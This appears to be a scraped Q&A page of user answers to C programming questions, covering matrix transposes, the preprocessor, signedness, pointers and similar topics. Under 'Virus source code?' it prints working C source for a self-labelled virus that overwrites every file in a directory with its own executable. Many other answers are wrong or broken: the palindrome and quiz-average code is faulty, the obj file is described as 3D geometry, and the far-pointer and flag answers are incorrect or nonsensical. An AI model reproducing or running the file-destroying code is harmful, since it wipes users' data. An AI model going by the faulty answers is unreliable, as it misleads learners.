answersLogoWhite

0

📱

C Programming

Questions related to the C Computer Programming Language. This ranges all the way from K&R to the most recent ANSI incarnations. C has become one of the most popular languages today, and has been used to write all sorts of things for nearly all of the modern operating systems and applications. It it a good compromise between speed, power, and complexity.

9,649 Questions

Write a program in c to find transpose of a matrix using functions?

Sorry to delete the previous version of this program, but this one is much more concise and sophisticated. I have written this program for a 3*3 matrix, but if you want to change it, just enter additional variables to store the order of the matrix and then replace the "3"s of the program with them as needed. It's easy. So here we go:

#include

#include

void swap(int *x,int *y);

main()

{

int i,j,k,m,n;

int matrix[3][3];

printf("Enter the matrix: \n\n");

for (i=0;i<3;++i)

{

printf("\nEnter #%d row: ",(i+1));

for (j=0;j<3;++j)

scanf("%d",&matrix[i][j]);

}

printf("\n\n");

for (j=0;j<3;++j)

{

for (i=0;i<3;++i)

if (i>j)

swap(&matrix[i][j],&matrix[j][i]);

}

printf("The transposed matrix is: \n\n");

for (i=0;i<3;++i)

{

for (j=0;j<3;++j)

printf("%4d",matrix[i][j]);

printf("\n\n");

}

}

void swap(int *x,int *y)

{

int t=*x;

*x=*y;

*y=t;

return;

}

What is a iteration?

Concept: use order and number of elements of some data structure to control iteration

Two strategies:

  • "Passive" iterator: provide a set of functions for a data structure that the user can use to construct a loop using while, for, etc.
  • "Active" iterator: encapsulate the loop control in an operation, and only allow the user to provide the loop body; in other words, provide a "functional form" or a template operation for the entire loop

Where does the decision point appear in a flow chart?

i want to design a simple flow chart with question point starting from the customer making their initial call and leading to a response by a specialist

Advantages of dynamic memory allocation in data structure?

The main advantage of dynamic memory allocation is flexibility: the sizes of structures (or upper bounds on the sizes) do not need to be known in advance, so any size input that does not exceed available memory is easily handled. There are costs, however. Repeated calls to allocate and de-allocate memory place considerable strain on the operating system and can result in "thrashing" and decreased performance. In addition, one has to be very careful to "clean up" and de-allocate any memory that is allocated dynamically, to avoid memory leaks.

The general rule of thumb is, if you can allocate memory statically, do it, because the result will probably be faster code that is easier to debug. But if you need to handle wide-ranging input sizes, then dynamic memory allocation is the way to do it.

How you can multiply 3x24 by using arrays?

Sir, your question is not clear. If you just want to multiply 3 and 24 then why are you trying to use arrays for such simple calculation.

Practical application of red black tree of data structure?

Red-black trees are typically used in real-time applications, where worst-case guarantees are vital. Red-black trees often form the basis of other tree structures, including AVL trees and LLRB trees. Computational geometry, scheduling and language dictionaries are other possible applications for RB-based trees. They are also used in functional programming as a persistent data structure.

List 10 high level language?

I have the feeling you could find this on wikipedia, but here's a list to get you started:
Pascal / Delphi
C / C++ / C#
Visual Basic
Flash Actionscript
Java

Depending on the context, Javascript and even SQL could be considered higher level languages.

What is a preprocessor in c programming?

The preprocessor is the program that prepares your source files for compilation. In some implementations the preprocessor is a separate program from the compiler but in others it is part of the compiler program itself. Regardless, preprocessing occurs before compilation, hence the preprocessor is often commonly referred to as the precompiler.

The preprocessor parses each of your source files (*.c files) and generates intermediate files that contain nothing but pure C code. Note that the compiler never sees your source code, it only sees the code output by the preprocessor. Each intermediate file output by the preprocessor is known as a translation unit. The compiler converts each translation unit into an object file, which is part machine code, part symbol table. Once all translation units have been compiled, the linker can examine the symbol tables within the object files and thus link the machine code together to produce the final executable.

You might think that your source files are already pure C code but they are not. For instance, source files usually contain user-comments but a user-comment is not C code; it is human-readable code. So part of the preprocessor's job is to strip out all user-comments. This is why compiler's ignore user-comments; they never see them!

Aside from stripping out comments, the primary role of the preprocessor is to act upon the preprocessor directives within your source files. That is, header files are imported into your source code, conditional compilation is applied and macros are expanded.

Importing headers is relatively straightforward. The #include directive is simply replaced with the contents of the specified header file in the intermediate file. However, the imported file must be preprocessed as it is imported because header files often include directives of their own, which may including importing other header files. In some cases, a header file might end up being included two or more times in a single translation unit which is why we use conditionally compiled header guards to ensure each header is included only once.

Conditional compilation relies upon symbols that are either defined or not defined. We can use directives to define or undefine symbols as appropriate, although its best to supply conditional compilation symbols via the command line. We can test if a symbol is defined or not by using the #ifdef and #ifndef directives as appropriate. Depending on the evaluation of the test, the code that follows is either included or excluded from the intermediate file, up to the corresponding #endif directive. Header guards make use of this to define a new symbol if the header hasn't already been included. If the symbol already exists, then we can ignore the content because it has already been included. In addition, the #else directive allows the programmer to provide alternate versions of code, only one of which will be included in the intermediate file. This is useful when writing cross-platform code by providing code specific to each platform.

Macros are the most complex part of preprocessing. Consider the following macro definitions:

#define WHEREARG __FILE__, __LINE__

#define WHERESTR "[file %s, line %d]: "

#define DEBUGPRINT2(...) fprintf(stderr, __VA_ARGS__)

#define DEBUGPRINT(_fmt, ...) DEBUGPRINT2(WHERESTR _fmt, WHEREARG, __VA_ARGS__)

The first two macros are simple text replacements while the second two are macro functions. All four work together. The DEBUGPRINT macro function is the macro we will actually use in our code. For instance:

DEBUGPRINT("x=%d\n", x);

If we suppose this line of code appears on line 42 of the source file "foo.c", this macro would expand to:

fprintf(stderr, "[file %s, line %d]: x=%d\n", "foo.c", 42, x);

To understand how it works, we need to look at the individual macro substitutions performed by the preprocessor. First we substitute the original DEBUGPRINT macro function with its definition:

DEBUGPRINT2(WHERESTR "x=%d\n", WHEREARG, x);

Note that arguments we supplied are substituted into the arguments of the macro function. This substituted code is another macro function. After simple text substitution of WHERESTR and WHEREARG we get:

DEBUGPRINT2("[file %s, line %d]: x=%d\n", __FILE__, __LINE__, x);

Note that when two strings are adjacent in a macro, the preprocessor automatically appends one to the other.

Again, we have two simple text substitution macros. The __FILE__ and __LINE__ macros are actually defined by the preprocessor. Given that the original function was called from line 42 of the "foo.c" file, the macro will now expand to:

DEBUGPRINT2("[file %s, line %d]: x=%d\n", "foo.c", 42, x);

Finally, we substitute the DEBUGPRINT2 macro with its definition, substituting the supplied arguments accordingly:

fprintf(stderr, "[file %s, line %d]: x=%d\n", "foo.c", 42, x);

Note that the compiler never sees the macros, it only sees the code generated by the preprocessor. If the expanded code contains any compiler errors, the compiler cannot identify the source of the error. In addition, macros are not type safe and may introduce subtle bugs that are extremely difficult to track down. When used appropriately, they can greatly simplify your coding however the general rule is don't use them unless you have to. If you find yourself using a lot of macros to overcome a language limitation, then you're probably using the wrong programming language for the task at hand.

How do you convert fractional binary numbers in decimal?

The basic way of doing it with pencil and paper.

# Write down "0." (i.e. "zero point") # Start with n=-1 and your number x # If 2^n > x, then decrement n, and write down a "0". Keep repeating until 2^n < x. # Let x = x - 2^n, and decrement n. # If x is 0, you're done. Otherwise, return to step 3. Here's an infinite example, converting 0.7 to a decimal

# At step 1. We have written down "0." # At step 2. n=-1, x=0.7. # At step 3. 2^-1 = 0.5, which is less than x (now 0.7)

# At step 4. Let x = 0.7 - 0.5 = 0.2. Decrement n to -2. We have written down "0.1" # At step 5. x is not 0, so we return to step 3. # At step 3. 2^-2 = 0.25, which is greater than x (now 0.2). Decrement n to -3. We have written down "0.10"

# At step 3. 2^-3 = 0.125, which is less than x (now 0.2). # At step 4. Let x = 0.2 - 0.125 = 0.075. Decrement n to -4. We have written down "0.101". # At step 5. x is not 0, so we return to step 3. # At step 3. 2^-4 = 0.0625, which is less than x (now 0.075). # At step 4. Let x = 0.075 - 0.0625 = 0.0125. Decrement n to -5. We have written down "0.1011". # At step 5. x is not 0, so we return to step 3. # At step 3. 2^-5 = 0.03125, which is greater than x (now 0.0125). Decrement n to -6. We have written down "0.10110". # At step 3. 2^-6 = 0.015625, which is still greater than x. Decrement n to -7. We have written down "0.101100". # At step 3. 2^-7 = 0.0078125, which is less than x (now 0.0125). # At step 4. Let x = 0.0125 - 0.0078125 = 0.0046875. Decrement n to -8. We have written down "0.1011001". # At step 5. x is not 0, so we return to step 3. # Et cetera ad nauseum

Code for palindrome checking in C programming?

bool is_palindrome (char* str) {

if (str==0) return false;

int len = strlen (str);

if (len==0) return false;

int len2 = 0;

char* str2 = malloc (len + 1);

char* begin;

char* end;

char c;

for (int i=0; i<len; ++i) {

c = tolower (str[i]);

if ((c>='a' c<='z') (c>='0' c<='9')) str2[len2++] = c;

}

begin = str2;

end = begin+len2-1;

while ((*begin==*end) && (begin<end)) { ++begin; --end; }

free str2;

result = end<=begin;

}

Index of an element in array?

An array is a group of related elements, with a common variable name. The index is a number that indicates the position of an element within an array: the 1st. element, the 2nd. element, etc. (many languages start counting at zero).

What is a function prototype in C and C plus plus?

A function prototype is basically a definition for a function. It is structured in the same way that a normal function is structured, except instead of containing code, the prototype ends in a semicolon.

Normally, the C compiler will make a single pass over each file you compile. If it encounters a call to a function that it has not yet been defined, the compiler has no idea what to do and throws an error. This can be solved in one of two ways.

The first is to restructure your program so that all functions appear only before they are called in another function.

The second solution is to write a function prototype at the beginning of the file. This will ensure that the C compiler reads and processes the function definition before there's a chance that the function will be called.

For example, let's take a look at a few functions form a linked list implementation.

// Sample structures

struct linked_list_node {

int data;

struct linked_list_node *next;

};

struct linked_list {

int size;

struct linked_list_node *root;

};

// Function Prototypes

void deleteLinkedList(struct linked_list *list);

void deleteNodes(struct linked_list_node *node);

// Actual functions:

// deletes the given linked list

void deleteLinkedList(struct linked_list *list) {

if( list != NULL ) {

// delete nodes

deleteNodes(list->root);

// lose the pointer

list->root = NULL;

// delete actual list

free(list);

}

}

// deletes all nodes starting at node

void deleteNodes(struct linked_list_node *node) {

if( node != NULL ) {

// deallocate next, if it exists

if( node->next != NULL ) {

deleteNodes(node->next);

// lose the pointer

node->next = NULL;

}

// deallocate node

free(node);

}

}

What is the difference between signed charcter and unsigned character in c?

In terms of storage there is no difference. A signed int is the same length (in bits) as an unsigned int. The only difference is the range of values that can be represented by those bits. With signed integers, the most-significant bit is used to denote the sign (0 = positive, 1 = negative), so an 8-bit signed char really only has 7-bits to store the value, thus limiting its positive range to [0:127] whereas the unsigned equivalent has the full 8-bits at its disposal so can represent values in the range [0:255].

Another difference is the way in which negative values are physically represented. There are in fact two ways of achieving this depending on the hardware. Older hardware generally uses ones-complement notation, which simply switches every bit. Thus 00101010 (+42) becomes 11010101 (-42). However, since the value zero is neither positive nor negative, we end up with two representations for the value zero (00000000 and 11111111). This also limits the range to [-127:127] for 8-bit signed values. Newer hardware uses twos-complement notation. To switch the sign, we first take the ones-complement as before but we then add 1 and ignore any overflow. Thus 00000000 becomes 11111111 + 1 which is 00000000. This, in turn, increases the negative range by 1, such that an 8-bit signed char now has a range of [-128:127].

Generally speaking, we use unsigned integers whenever we need to represent natural numbers, such as file sizes or array sizes; values that can never be negative. For all other work, we use signed integers.

Note that in C++ a plain char may be signed or unsigned (depending on the implementation), but is not considered the same type as either a signed or unsigned char. They are three completely independent types. Thus a plain char is only guaranteed to represent values in the range [0:127], the ASCII character codes; the only values common to both signed and unsigned char. If you specifically need to represent values outwith this range, such as [-128:127] or [0:255], use an explicitly signed or unsigned char respectively.

All other integer types (short, int, long and long long) are implicitly signed unless you explicitly declare them with the unsigned modifier. Note also that floats, doubles and long doubles are always signed (they cannot be modified).

How do you use printf without semicolon in c?

Example:

printf ("There is one semicolon; in this string");

printf ("There is no semicolon in this string");

Write a program using one print statement to print the asterisks triangle?

#include<stdio.h>

#include<conio.h>

int main()

{

int i,j,k,row,m;

printf("Enter the no of rows:");

scanf("%d",&row);

m=row;

for(i=0;i<m;i++)

{

printf("\n");

for(k=0;k<row;k++)

printf(" ");

for(j=0;j<=i;j++)

printf(" *");

row--;

}

getch();

}

What is the difference between a obj file and an exe file in C?

.obj is a simple data-format file that represents 3D geometry alone. .exe is an executable file that usually contains other resources which are sometimes used for a Graphical User Interface. Being simple, its a file to perform indicated tasks according to encoded instructions.

What is the concept of flag in c plus plus?

we will give sujika then output will be ok

here first give su ofter jika then print ok

b/w su nd jika there no letters give answer plz

What is non primitive data types in Java?

"Primitive" data types are integers (char, int, long), floats (float, double) and void. Void is never used for variables, but tells C that a function accepts and/or returns no arguments.

"Non-primitive" data types include arrays, structs and classes. These utilize primitive data types and are called, in general, structured data types.

Data types can become more complicated as you mix the structured data types. For instance, arrays, structs and classes can contain arrays, structs and classes, nested as deep as you wish.

Depending upon who asks the question, a non-primitive data structure may be just a structured type (array, struct, class), or a structured type containing structured types.

Write a c program to compute the average of 3 input quizzes then display the result?

#include <stdio.h>

#include<iostream.h>

#include<conio.h>

#include<windows.h>

int main()

{

int q1, q2, q3, ave;

printf ("Enter 1st quiz: ");

scanf ("%d", &q1);

printf ("Enter 2nd quiz: ");

scanf ("%d", &q2);

printf ("Enter 3rd quiz: ");

scanf ("%d", &q3);

ave=(q1+q2+q3/3);

printf ("Average quiz is %d", ave);

getch() ;

}

What does python do in high level language?

There are two basic categories of languages: low-level and high-level. A low-level language interacts with the hardware directly or mostly directly, so an intimate knowledge of the underlying hardware being programmed for must exist. Low-level languages are also relatively difficult to move from one computing platform to another (such as from Windows to a Mac).

A high-level language abstracts the hardware, and so programming becomes more solution-oriented and less hardware-oriented. Python does not offer access to the underlying hardware directly, and allows you to perform numerous low-level instructions in just a few lines of code. Thus, since Python substantially removes the programmer from the hardware, it is a high-level language.

What is huge pointer generic pointer and far pointer?

Far Pointer is a pointer that is stored using four bytes (32 bits). The bytes are stored little endian or low to high order. A far pointer can access objects up to 16K in size in any memory area. Objects larger than 16K must be accessed using huge pointers

This book is basic for c , download and Read this... must required !

C programming code for newton raphson method to solve quadratic equation?

yes

This is the codes for Newton-Raphson method for solving Quadratic equations

#include<stdio.h>

#include<conio.h>

#include<math.h>

#define F(x)(x*x*x)-(4*x)

#define FD(x)(3*x*x)-4

#define MAXIT 20

void main()

{

int count;

float x0,x1,fx,fdx;

clrscr();

printf("NEWTON-RAPHSON METHOD\n");

printf("---------------------\n");

printf("initial value:");

scanf("%f",&x0);

count=1;

begin:

fx=F(x0);

fdx=FD(x0);

x1=(x0-(fx/fdx));

if(fabs((x1-x0)/x1)<0.00001)

{

printf("The root is:%f\n",x1);

printf("Iteration is:%d\n",count);

}

else

{

x0=x1;

count=count+1;

if((count<MAXIT));

goto begin;

}

getch();

}

Virus source code?

If you're talking about viruses on your computer, No you cannot.

Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.

There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

  1. include
  2. include
  3. include
  4. include
  5. include

void main(int argc,char* argv[])

{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

Write a program to implement priority queue in C?

A priority queue is a type of data structure that allows for elements to be inserted in any order, and to be retrieved in the order of some priority, defined by the creator. It can be implemented in any programming language, including C. For more details, see related links.